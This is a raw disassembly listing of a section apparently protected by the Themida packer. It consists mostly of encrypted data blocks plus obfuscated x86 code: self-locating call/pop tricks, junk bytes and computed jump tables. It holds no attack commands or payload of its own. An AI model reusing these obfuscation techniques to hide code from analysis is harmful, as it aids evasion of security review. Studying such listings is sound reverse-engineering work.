		dd 88185C7h, 63D4060Eh,	0B70F0000h, 0D985C7D3h,	60E28h
		dd 52000000h, 4196D681h, 0FF58410Fh, 0E183DB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 2EF20BD4h, 8A88C44Ah, 0F60A835h, 0DE9FBBFh, 55000000h
		dd 29B9C5Bh, 45C334BBh,	0D01E934Dh, 0B995FF61h,	33060E09h
		dd 0E2D3D85h, 0FF006A06h, 0E0F4595h, 0EBC08B06h, 0F44012Fh
		dd 812F3720h, 43742219h, 0A99109D4h, 49F27EAh, 0AFD2FEFAh
		dd 201EA3E3h, 1EB8FD6Ch, 0BA275FAFh, 0A4F41CA7h, 0B42FC4FFh
		dd 0DE195556h, 7D58D8Dh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E9FB81C3h, 10h, 6268088Bh
		dd 2DF33794h, 152BF154h, 0FBB08BF3h, 2FC58D89h,	8589060Eh
		dd 60E278Dh, 88185C7h, 6D9C060Eh, 0BA660000h, 85C7A654h
		dd 60E28D9h, 0
; ---------------------------------------------------------------------------
		sub	ah, 75h
		push	dword ptr [ebp+60E183Dh]
		mov	[ebp+60E0A6Dh],	edx
		call	dword ptr [ebp+60E09B9h]
		movsx	esi, dx
		mov	esi, [ebp+60E0B05h]
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5B9E05
; ---------------------------------------------------------------------------
		db 90h
		db 4Eh
		dd 0AF7FCCC4h, 8083E8F6h, 0EB6B18FEh, 0B96020C2h, 0D32E0DB1h
		dd 43D60DE9h, 291F79FEh, 1426F0AFh, 0FD63FF19h,	1B2B0FD5h
		dd 7F66A4BDh
; ---------------------------------------------------------------------------
		pop	ecx


loc_5B9E05:				; CODE XREF: Themida_:005B9DD4j
		jmp	loc_5B9E25
; ---------------------------------------------------------------------------
		dw 30F3h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3Ah,	2 dup(0)
		dd 5 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5B9E25:				; CODE XREF: Themida_:loc_5B9E05j
		jmp	loc_5BA2E5
; ---------------------------------------------------------------------------
		dw 0EDE4h
		dd 0C7C35E22h, 0ACA74206h, 908A25E9h, 746C07CBh, 8BCE7ABh
		dd 581CE5DDh, 39FDC4BDh, 1FE3A09Eh, 4C88784h, 0ED2CEDB8h
		dd 655D7CB8h, 0B9B64EFCh, 0B03DEFAh, 0E6E37E42h, 241E0B03h
		dd 118C435Fh, 0A29F7A96h, 0F0ECC7E3h, 0BB7D132Fh, 0A84FF36Ah
		dd 0C3D9B450h, 112DEEEAh, 0EF8ADF5Ah, 0D46F33F2h, 0BA5519D6h
		dd 8E3FFBCh, 0D02C480Fh, 7C7AC112h, 6360FBBFh, 0A3BF8880h
		dd 4A5571ECh, 51F0ADABh, 84419653h, 5B69F300h, 2553A462h
		dd 0AFF608D2h, 8C54h, 0E786E600h, 340F2BEAh, 0A3F8733Ch
		dd 7D4C0B08h, 0CB20E3DEh, 0B051B6B3h, 0D5935B69h, 4CA15684h
		dd 185AFF6h, 17000000h,	0DDF9BAB6h, 28210602h, 0B0CD4C0Dh
		dd 0A855B69h, 18BC738Fh, 6CB5A4A9h, 0A26A1D3h, 0A170352Fh
		dd 733A33D2h, 0B8DFA057h, 105B69E2h, 69E2C84Fh,	460D885Bh
		dd 0C85E76CBh, 726EB506h, 0E27D9C5Dh, 36D55B69h, 0A85F7B38h
		dd 5AFE892Dh, 3075FB0Ah, 4D47E6B5h, 0D8733388h,	8D581CDBh
		dd 0F6A9EAE9h, 5BB00B7Bh, 0A1BEB6EDh, 69B0B9E0h, 817A195Bh
		dd 0A8C43FBAh, 0F410D1CDh, 0E93081FFh, 0C96428F1h, 16F10DCCh
		dd 0EA89581Bh, 5A112DEEh, 4406ED05h, 4A42C5F3h,	75E4AFF6h
		dd 76000000h, 35CCBEB6h, 7B9E41B8h, 0EA8958D3h,	1AEB06ECh
		dd 827C4DF7h, 0BF9AB207h, 4FE501C4h, 0FDF53C8Dh, 0DDD57034h
		dd 231DF814h, 3BEB8F5Eh, 3FBC476Ah, 266122F1h, 9A5B690Fh
		dd 0D7B2CA1Fh, 24FF1BDAh, 584D6926h, 0BB6689DAh, 8D7AA8F9h
		dd 99AFF58Bh, 37h, 0F5BEB62Bh, 0C78E8726h, 817F5A72h, 23F2A8C4h
		dd 0A5A38884h, 9A15CCE8h, 2F76C745h, 3CAA6E37h,	0DDF9BAB6h
		dd 69B0BCE0h, 0AF00BE5Bh, 0F64C7681h, 1B0AFh, 0B6420000h
		dd 0A965CFBBh, 0A6589571h, 0F16CE7ACh, 3EFDFAD5h, 0B708C622h
		dd 0EEB27570h, 0E9B8092Fh, 388D4E4Ah, 2FF9E6Dh,	1B702743h
		dd 7763D65Eh, 6223F261h, 0A29B6227h, 89A5209Bh,	94C9B1AEh
		dd 4090A034h, 0EB864AC5h, 8132FEEh, 0F117839h, 36B1A29Bh
		dd 0FE724E1h, 2AACA29Bh, 0D69592D9h, 927A7712h,	566AA25Eh
		dd 0F4108B6Dh, 3E591AE9h, 92A29B5Ch, 2A27C217h,	0DC5A4F6Bh
		dd 8847448Bh, 5FB542C4h, 1271B603h, 3000001h, 4C1BA692h
		dd 77E2318Bh, 0F24BEF61h, 46070320h, 1BCF732Ah,	0B3B150DDh
		dd 845F7BF6h, 6904C887h, 8691AD6Ch, 0B27EEE7h, 6764FF54h
		dd 3D3AD9A8h, 1C11297Eh, 9064D9Eh, 0F304864Ah, 33B604EFh
		dd 40h,	0F6B786C5h, 5B69B093h, 0A05FB42Fh, 9657269Bh, 0DB69B053h
		dd 5B5874EFh, 0DB69B03Ch, 91FC4DCBh, 874817AAh,	5B69B020h
		dd 794039D8h, 17E66124h, 0B0008748h, 45C05B69h,	8EE630F0h
		dd 74000000h, 26EFE786h, 9B2612D1h, 0B0590BCCh,	1C976177h
		dd 69282500h, 4E0D0AA5h, 0A8EFB07Fh, 28A29BB0h,	434058ADh
		dd 0A29BB1C3h, 84FB4CCEh, 4F95F4B5h, 892DA298h,	0DB17AA5h
		dd 72C742E6h, 571BDAD7h, 5221A098h, 23ECE483h, 0B9B15007h
		dd 0CDDE9BF0h, 0D988FDDh, 2624C392h, 0F1FC1469h, 40955652h
		dd 0D495A8A5h, 0A8B5EDB5h, 4817920Dh, 4BEAAFA9h, 0B9708C51h
		dd 32F04C64h, 0FFC276E1h, 0E55E6F30h, 239E92A2h, 0F9B8B554h
		dd 11D126DDh, 1BA692A3h, 0B87A8B4Ch, 3FBA617Eh,	8C4B4823h
		dd 5F2EFDC8h, 83487B9Eh, 9B5CD7A2h, 0A283487Ch,	690459D4h
		dd 9491AD6Ch, 61AD1588h, 7D7B6860h, 4E2945C0h, 0AB726B54h
		dd 0A11F1430h, 11D32D50h, 0BD7C79C0h, 0EB0B4AEEh, 259BF017h
		dd 0A64510D0h, 0ACBC7A8h, 67BC738Fh, 0F410CFCCh, 3E5A1F19h
		dd 8CD324E2h, 710CD08Fh, 0F99B574h, 10h, 8524339Dh, 52B57687h
		dd 0EE5B69B0h, 35A3F873h, 0D8F4BFB6h, 254100FDh, 738F4C4Ah
		dd 0BCD89F98h, 420E9E1h, 4C683129h, 96B27771h, 0E1FDC0BBh
		dd 2D490A06h, 0C0F6869h, 0C890000h, 0E3895324h,	4C381h
		dd 0EB830000h, 241C8704h, 2404895Ch, 4D8268h, 243C8900h
		dd 2272BF57h, 0F747242Ah, 32EF81DFh, 812B4359h,	2E1301F7h
		dd 81E7D110h, 0FBF75BC7h, 21F781FDh, 8939602Eh,	8B545FF8h
		dd 0C483243Ch, 72396804h, 4890000h, 8478F24h, 51243C8Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 48B5C24h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 71C6E95Ch, 0E445FFF9h
		dd 4CD568C1h, 0DDD55BECh, 0E07FF73Ah
; ---------------------------------------------------------------------------
		icebp


loc_5BA2E5:				; CODE XREF: Themida_:loc_5B9E25j
		mov	eax, 6150C51h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 1B17h
		dd 0ACB27592h, 353A468Bh, 71D61A4Eh, 69926552h,	7FD02F15h
		dd 0FD54745Eh, 0BF0A765Ch, 1D0A5E1Dh, 77604172h, 9AC313B6h
		dd 73D16C2Fh, 0A8A40D62h, 5FFA5102h, 799E3641h,	5C0F1BE2h
		dd 5C5A77D7h, 535478EFh, 1B47A50h, 0B0650D6Ch, 2D651E81h
		dd 84CC6304h, 0B3AE5190h, 0B0331521h, 0DD2F175Bh, 0B6D3296h
		dd 0D1B10916h, 35993E4Fh, 88EC0AA8h, 0B762CB7h,	8E8093Ah
		dd 0C3000000h, 1CD14BBAh, 66EC9CFEh, 0AF6CD381h, 11C2815Ah
		dd 0F8000062h, 68h, 0AE95800h, 0E1000000h, 22A560DCh, 60B2888h
		dd 1034FF71h, 59F38B66h, 8F5EBE66h, 6718C181h, 810F4D91h
		dd 2, 0F181DA8Bh, 21345EDFh, 0D2A4C181h, 0BF664BA2h, 5651C2D4h
		dd 5FDF8B66h, 6002048Fh, 6171B6F9h, 128A0Fh, 0DE90000h
		dd 29000000h, 0A588C572h, 95900A9Ah, 0B729771Bh, 8B04E883h
		dd 88F881FBh, 0FFFFF9Eh, 0FFFFA085h, 0D800FFFh,	60000000h
		dd 870Fh, 0E2B80000h, 615E6201h, 0EDE8D8Dh, 0EE90615h
		dd 59000000h, 0BEE58CA3h, 17698F4Ch, 1F16B7BAh,	0C58D892Ch
		dd 6A060E2Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B6C2C353h, 0FE5EA07Eh, 88185C7h
		dd 7228060Eh, 810F0000h, 6, 34D958Bh, 8B0F060Eh, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+60E28D9h], 0
		mov	si, 7524h
		push	dword ptr [ebp+60E3099h]
		push	0
		push	ebx
		call	sub_5BA483
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA483	proc near		; CODE XREF: Themida_:005BA47Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BA483	endp

; ---------------------------------------------------------------------------
		sbb	al, 0Eh
		add	[eax-1C82FCEEh], edi
		sub	[ebx-77h], ecx
		mov	ebp, 60E092Dh
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	edx
		call	sub_5BA4B4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA4B4	proc near		; CODE XREF: Themida_:005BA4ACp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5BA4B4	endp

; ---------------------------------------------------------------------------
		mov	ds:0F09435CEh, al
		adc	eax, 8B45552Ah
		mov	ebp, 60E2FCDh
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5BA518
; ---------------------------------------------------------------------------
		db 35h
		dd 2D1E06CEh, 0AD15C591h, 0AA49B4C8h, 877672E0h, 98E4D674h
		dd 9A47BB93h, 0CB0113B4h, 19466A47h, 88DC0969h,	9A19C9D2h
		dd 0F4E3B2D6h, 37FCAA9Dh, 0B8E5DEEBh, 613B94B6h
; ---------------------------------------------------------------------------


loc_5BA518:				; CODE XREF: Themida_:005BA4DDj
		jmp	loc_5BA67C
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6150F2Ah
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5BA673
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 23E2BB4Eh
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+60E2FC5h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0B79F8DFCh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+60E0881h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+60E28D9h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5BA637
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E0801h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E2031h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E292Dh]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E07C1h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E2485h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E0DCDh]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E00D5h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E0CD5h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E3099h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E0079h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E1AA1h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E19D5h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E183Dh]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E1A65h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E1915h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+60E1889h]
		jmp	loc_5BA64B
; ---------------------------------------------------------------------------


loc_5BA637:				; CODE XREF: Themida_:005BA582j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+6150F8Bh]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5BA64B:				; CODE XREF: Themida_:005BA58Dj
					; Themida_:005BA598j ...
		call	dword ptr [ebp+60E09B9h]
		pop	ebx


loc_5BA652:				; CODE XREF: Themida_:005BA66Bj
		mov	eax, [ebp+60E2FC5h]
		cmp	[eax+4], ebx
		jnz	loc_5BA670
		push	ebx
		push	1
		call	dword ptr [ebp+60E0F45h]
		pop	ebx
		jmp	loc_5BA652
; ---------------------------------------------------------------------------


loc_5BA670:				; CODE XREF: Themida_:005BA65Bj
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5BA673:				; CODE XREF: Themida_:005BA535j
		popa
		pop	edx
		mov	eax, 77D4C96Ah
		jmp	eax
; ---------------------------------------------------------------------------


loc_5BA67C:				; CODE XREF: Themida_:loc_5BA518j
		mov	eax, [ebp+60E2501h]
		lea	ecx, [ebp+6151079h]
		mov	[ecx+1], eax
		mov	eax, ebx
		jmp	loc_5BA768
; ---------------------------------------------------------------------------
		cmp	eax, 0D705778Dh
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh, 7	dup(0)
; ---------------------------------------------------------------------------


loc_5BA768:				; CODE XREF: Themida_:005BA68Dj
		jmp	loc_5BBCCB
; ---------------------------------------------------------------------------
		push	6151357h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151489h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151579h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	615169Bh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151716h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61517DDh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61518BEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61519B1h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151A6Ch
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151B8Bh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151C56h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151DE7h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6151EE4h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6152054h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61521BAh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6152371h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6152457h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0B04B0FDAh, 942FF3B4h, 7712D699h, 59F4B87Dh,	0A9D49861h
		dd 9D2CA3Bh, 0EAB1AA45h, 0D08D8B26h, 0B574710Ch, 19DAA5F1h
		dd 5D7CA2FEh, 863BE952h, 0B6FEEEE7h, 17F7C2D7h,	0C15CB12Ch
		dd 0EE905C4h, 37CE2911h, 0C42CB8DAh, 30D4169Fh,	3A0CF500h
		dd 0B6E74655h, 6226A11Ch, 8007C897h, 405B6986h,	6B2826C5h
		dd 0E0E15716h, 88AC5011h, 0F16C6177h, 98B5D8D5h, 6F31A29Bh
		dd 2007F01Eh, 291FB604h, 0B1000000h, 4C1BA692h,	77BFCD8Bh
		dd 0DB57FB61h, 0D010E7BBh, 0B22DF045h, 0FF7A9996h, 30F2A298h
		dd 0FD46B1DFh, 0CEE0B604h, 72000000h, 0DEFAB9B6h, 221E0B03h
		dd 0A1709538h, 1A95B160h, 4001D09Fh, 5B6980D9h,	91A9FE79h
		dd 2EAE786h, 3BD5E2C9h,	0D9F5703Dh, 3532CD22h, 827F5A76h
		dd 9034FFC3h, 8A49553Dh, 0AD6ABFB8h, 5B698240h,	0A86C2B28h
		dd 3551100Dh, 0F0BF0236h, 9E898221h, 0BC2DEA5h,	0E27E3B90h
		dd 1E6177FFh, 1820DFA3h, 0ADC98885h, 196C52F6h,	1671E178h
		dd 240BCC9Bh, 0DC9888A9h, 0FBF39261h, 0DBD36E32h, 150DF2EEh
		dd 56D14Ch, 228A79F5h, 0C647D12Dh, 0D000012h, 0EC874B16h
		dd 0D06B2FF0h, 0B34E12D5h, 9530F4B9h, 0E510D49Dh, 450E067Fh
		dd 26EDE681h, 0CC9C762h, 0F1B0AD48h, 5516E12Dh,	5D7CA332h
		dd 0B677258Eh, 9631F5BEh, 6C0BDA99h, 9C5CB16Eh,	1BA6922Eh
		dd 0A77CA84Ch, 1C31E788h, 68BD847Dh, 0E7CDC9Dh,	0D9546177h
		dd 115DC0BDh, 0A19A29Bh, 3D9F766h, 0D857A79h, 2E9E425Bh
		dd 7F463FB5h, 0DC31AC63h, 0F7960D5Eh, 5C1B18F9h, 0EEEAC5E1h
		dd 0DF5A112Dh, 17EF088Ah, 0FB37B604h, 0C9000000h, 0DEFAB9B6h
		dd 26420B03h, 92847C1Bh, 7EEAE6DEh, 1C38B35Ch, 1E531065h
		dd 9E5B696Eh, 264203FFh, 827F1A6Fh, 6764FFC3h, 0AB8D8CA8h
		dd 0ACA84716h, 0FCCB96EBh, 24921858h, 64256B44h, 5B695A25h
		dd 52A7229Dh, 77278B95h, 0C7892D61h, 0C4A7D345h, 49C487DCh
		dd 2AEBBA85h, 0A29BF4EFh, 0AECA938Bh, 0E58C30F7h, 6E70F18Ch
		dd 16D52AA5h, 31D09F22h, 0DBD67534h, 0F045FC18h, 0B89E6425h
		dd 0A2469888h, 7EA02494h, 6938B38Ah, 3FFEFB9Ah,	8E574FEAh
		dd 642320BFh, 0BCB44F0Fh, 39A09DF3h, 64C0228Ah,	1194DAh
		dd 7D483F00h, 61221EB9h, 4407029Dh, 26EBE580h, 6CFC762h
		dd 38AD1742h, 18B37740h, 0F994581Fh, 0DF7A3EFBh, 135F23E2h
		dd 0A4008748h, 57C05D7Ch, 0F5BEB6A9h, 73965726h, 0CF5B69B0h
		dd 0A43FFF54h, 4A19E8A7h, 69B00E89h, 7847C25Bh,	69B050B7h
		dd 2075F05Bh, 0B9B6F260h, 603DEFAh, 48642923h, 33F8F291h
		dd 21E56017h, 0ACC88B86h, 4615D4D1h, 97ECA9A7h,	0E5680CD7h
		dd 6891F12Ch, 8EFC71C6h, 3908B97Fh, 89DE9D9Ah, 38EFFDBEh
		dd 0AE296177h, 5A4440DFh, 5736742Ah, 0F5118C4Fh, 5754E93Eh
		dd 0AB012F35h, 1FCA197h, 2DEE29EAh, 0E7625901h,	10D1CD6Ch
		dd 0F3C23DF4h, 1F216A32h, 7F9B1663h, 3A09B880h,	0BCDB9C6Bh
		dd 3CA73321h, 3BB67D42h, 8E7E29E6h, 77F29D21h, 3E3AD9A8h
		dd 908D287Dh, 75720DD1h, 127960B6h, 1D792721h, 10A493h
		dd 6D382F00h, 51120EA9h, 34F7F28Dh, 16DBD570h, 0F6BFB752h
		dd 285D0732h, 8A36730h,	0E984480Fh, 0CF6A2EEBh,	34F13D2h
		dd 0A5107738h, 47B05D7Ch, 0FAB9B699h, 6859DFDEh, 0BD54D899h
		dd 0A5746177h, 9842A5E4h, 27A21DA2h, 2D94A463h,	0F4F08F5Eh
		dd 0B601733h, 8613364Eh, 5B77F298h, 8A713F5Eh, 0A4F5B7A8h
		dd 128B8176h, 41A5BCh, 86370000h, 0A26EFE7h, 0F7B8B453h
		dd 10CF24DBh, 9CA9928h,	6177FEBBh, 5C2BFA75h, 98027C9Bh
		dd 459D4A2h, 0DF9C9A39h, 2395E1Bh, 0C4C1A298h, 0A8A64105h
		dd 847D1CEBh, 95EAA1BDh, 0FF7F37Dh, 92810000h, 7D4C1BA6h
		dd 69B05DBCh, 257AF55Bh, 0C13F995Ah, 0ED91617Eh, 0D13D3E31h
		dd 21EAE2AAh, 0BD5C2BA6h, 0A23D01C0h, 0B6D192A5h, 0AA2839Ah
		dd 98FFC08Fh, 38A2839Ah, 272642BDh, 42E1B011h, 66318645h
		dd 94EA98A5h, 0A6A14098h, 0BB10C7E3h, 0FAE7DF8h, 0E5845312h
		dd 14D429E8h, 0A1BD7C79h, 5C2B96A2h, 0A2C6159Bh, 0DA30AB92h
		dd 3CAEDAF9h, 82038DE9h, 5100000Fh, 30CB8F5Ah, 14AF7334h
		dd 0F7925619h, 0D97438FDh, 295418E1h, 89524ABBh, 6A312AC5h
		dd 500D0BA6h, 35F4F18Ch, 995A2571h, 5D7CA67Eh, 94BB69D2h
		dd 5B69B071h, 8F5E63D5h, 7EC0A9CEh, 1FEE6961h, 0C48380h
		dd 62A56635h, 0DEA2835Fh, 6682433Fh, 44DF34AFh,	6D6C8847h
		dd 8827F6CBh, 0D1ACC88Fh, 3FF612D7h, 0E3A46FC4h, 989D5241h
		dd 0DFAE047Fh, 0B322B4D1h, 0F07CD57h, 0D5CC0000h, 0AFAB460Ah
		dd 948F2AEEh, 78720DD1h, 5C54EFB3h, 20A4CF93h, 4004CDC5h
		dd 21E5ACA5h, 7CB8886h,	0ECB06F6Ch, 0F514D5A0h,	4D5D7CA7h
		dd 0B9B636E4h, 603DEFAh, 0E0D97847h, 1D39F8F5h,	18CFEB66h
		dd 3F4AABC3h, 9E16929Bh, 99EE6EB9h, 0B453CA1Bh,	0ED7CFBCh
		dd 0A4C03BF2h, 0E11698EDh, 45AFF559h, 974h, 1BA692D7h
		dd 9C89A84Ch, 0E31D995h, 801FEEB9h, 0F1A8C483h,	716FDF9Ch
		dd 0C165617Eh, 0BD351B29h, 0DA9DF2A9h, 0F4F1905Fh, 0CCC76635h
		dd 59F4B409h, 84819D5Ch, 0A2829901h, 7F4E73C5h,	9C94BEBEh
		dd 0C2835298h, 0A8B4AB47h, 4C682523h, 0B453CE95h, 0E1A4F9B6h
		dd 2BAB1066h, 0AF0B22B5h, 0E4025h, 0D19C9300h, 0B576720Dh
		dd 985B56F1h, 7A3F39D4h, 5A231BB6h, 8CF96B96h, 6C07CB94h
		dd 4DE8AC73h, 33CE924Fh, 67B37736h, 0A7BCDB9Ch,	0AB145D7Ch
		dd 0A6B9B6FDh, 69B0A2E5h, 0D4A31E5Bh, 69B0F413h, 56D14C5Bh
		dd 7F625F3Ah, 0C7A7C382h, 0A942EE36h, 0E863DE53h, 0CAA97519h
		dd 0CAEE95B5h, 4F6B322Bh, 502B4398h, 0AC716B58h, 81351531h
		dd 0DFB38D40h, 8A4F49E8h, 0D324A26Eh, 0DC808BB0h, 0EA97ED8Bh
		dd 4CCA1F5Dh, 6B2ACDFBh, 85FCAFF5h, 8E000008h, 69B07194h
		dd 9C25C95Bh, 0B77AA842h, 9D9B5AAFh, 86880FD0h,	0CD485B69h
		dd 10B48352h, 1F1B7D0Fh, 0B8B5543Dh, 0B7E7A4F9h, 35617E7Dh
		dd 4F4CEBBAh, 6201CC90h, 0B24DA269h, 0DBDAF6B5h, 0D495645Dh
		dd 989C1650h, 0D09FF570h, 9022B5ADh, 0D5FAA34h,	7D740000h
		dd 5753EEB2h, 3C37D296h, 201AB579h, 4FC975Bh, 984C773Bh
		dd 0E8AC756Dh, 0C98D544Dh, 0AF73302Eh, 94581714h, 5DBC7D48h
		dd 0F55D7CA8h, 0B9B6DE8Ch, 9B5C2BFAh, 5B69B07Ch, 0EC0459D4h
		dd 98AA3DE1h, 56FAC3BBh, 65BA3685h, 0F20ECDCAh,	5482D391h
		dd 0AFF592A3h, 7D783h, 0E2861500h, 0D596AEB5h, 5B699EB2h
		dd 0DEF930Eh, 2EED42DFh, 19E8B70Ah, 69EE3158h, 0C116915Bh
		dd 9FD235F6h, 9766617Eh, 1F3BFCF8h, 0FD60A768h,	65E0A282h
		dd 0B1AE4D10h, 0D9A877F2h, 607C3F3Ah, 49120AA9h, 8621762Dh
		dd 52B57689h, 0EEA282FDh, 15DAD473h, 0F8C742F9h, 0FD216829h
		dd 26A1A282h, 0FD739657h, 54CFA282h, 0D5743FFFh, 2AC51AD7h
		dd 47526E2Dh, 0D1EDAAA8h, 8508C51Ah, 49A282FDh,	0F1B2AEEFh
		dd 46E6A776h, 82989CF0h, 0FF8B107h, 3C9822B5h, 0C6CB2h
		dd 0A5706700h, 894A46E1h, 6C2F2AC5h, 4E130DA8h,	2EF7EF8Ah
		dd 60853F6Ah, 40DB9F68h, 21BC8047h, 7A26623h, 3B874B0Ah
		dd 0A968AF70h, 7FE85D7Ch, 0FAB9B6D1h, 470603DEh, 0BB0CCA2Bh
		dd 4AD17544h, 0B4BA5664h, 84EB2EEFh, 0EC675B69h, 13E21597h
		dd 0E944AFF6h, 0D6000006h, 0A46FE286h, 2CBCD7Bh, 0FBA8F0ADh
		dd 0C2C5B69h, 0C725E6B5h
		dd 81617E8Ah, 56DB0EB2h, 69AD34E7h, 829C61A8h, 0EB66E1A2h
		dd 0B2AE4D1Ch, 0DEF5D5F1h, 0F82AEA28h, 0F48FE45Fh, 0F0CD0FF7h
		dd 1E1BE9D9h, 4744DFA3h, 0CB6D6C88h, 0F66627F6h, 0EA989C56h
		dd 74904D4Bh, 2AA568BDh, 0B54DD1D4h, 0CB55B122h, 0BB1h
		dd 9C602B22h, 80440501h, 6327EAE5h, 4509CEC8h, 25E9B2AAh
		dd 231B4AFAh, 2FB965Ah,	0DEDC773Bh, 0C5C25D21h,	2BF64206h
		dd 7CAA2F6Ah, 8C3AA35Dh, 2BFAB9B6h, 0B3CF908Ch,	0B48FA7FCh
		dd 14DBD4B7h, 0AAC641F8h, 9FE637B5h, 9D1FE3A2h,	0AFF64C5Ah
		dd 134CCh, 0B7865E00h, 69B093F6h, 5FB42F5Bh, 3908C7C4h
		dd 0B06EA96Ah, 67E25B69h, 20EFFA12h, 69B0385Fh,	0C81D985Bh
		dd 0AD71302Dh, 0A8774AEEh, 77BEC5E7h, 6C880361h, 98422C6Fh
		dd 0B506C8A2h, 4567087h, 1C18B7B6h, 33883F5Bh, 3067h, 0EF89C00h
		dd 78CC1AAFh, 923EAC01h, 8B4C1BA6h, 6177BFCDh, 616C8803h
		dd 0E602C9C2h, 0FE1DDA2Fh, 76A29840h, 0C23563B4h, 64B6045Bh
		dd 97h,	0D1B9B6F6h, 0ACBEB4B2h,	4A66E19Ah, 908A776Fh, 7DF8AFCBh
		dd 0CA898661h, 17D6D3AEh, 0C6699653h, 4015B69h,	76C28145h
		dd 0DEAD7C4Bh, 965EFA1Dh, 86DB56A4h, 85B873C9h,	0E3B22D9Eh
		dd 0BF834C44h, 0D632C24h, 28877880h, 92FA84E0h,	4100000Ah
		dd 20BB7F4Ah, 49F6324h,	0E7824609h, 0C96428EDh,	194408D1h
